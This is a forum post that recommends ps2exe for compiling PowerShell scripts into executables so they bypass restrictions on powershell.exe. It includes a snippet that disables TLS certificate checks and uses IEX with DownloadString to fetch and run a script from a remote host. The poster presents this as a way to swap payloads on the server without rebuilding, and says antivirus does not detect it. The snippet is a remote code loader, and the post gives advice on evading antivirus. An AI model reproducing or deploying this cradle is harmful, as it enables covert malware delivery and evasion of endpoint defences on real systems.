Jump to content



Recommended Posts

I just wanted to let everybody here know about ps2exe, if you don't already.

You can find it on TechNet if you search for it.

What it does is compile a script to an executable by using a c# source code template that runs the script using the system.management.automation

assembly. Since it uses a class library it stands a pretty good chance on bypassing any restrictions on the Powershell.exe program file.

This is an example script I compiled using ps2exe.

function start-download {

	[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }

	 IEX (New-Object System.Net.Webclient).DownloadString('https://some-domain.com/ps-script.ps1')

	[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $false }


This way you can change the code server side without having to recompile the binary unless you need to change the URL.

So far AV doesn't light up and It seems to be working in Windows 10.


Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...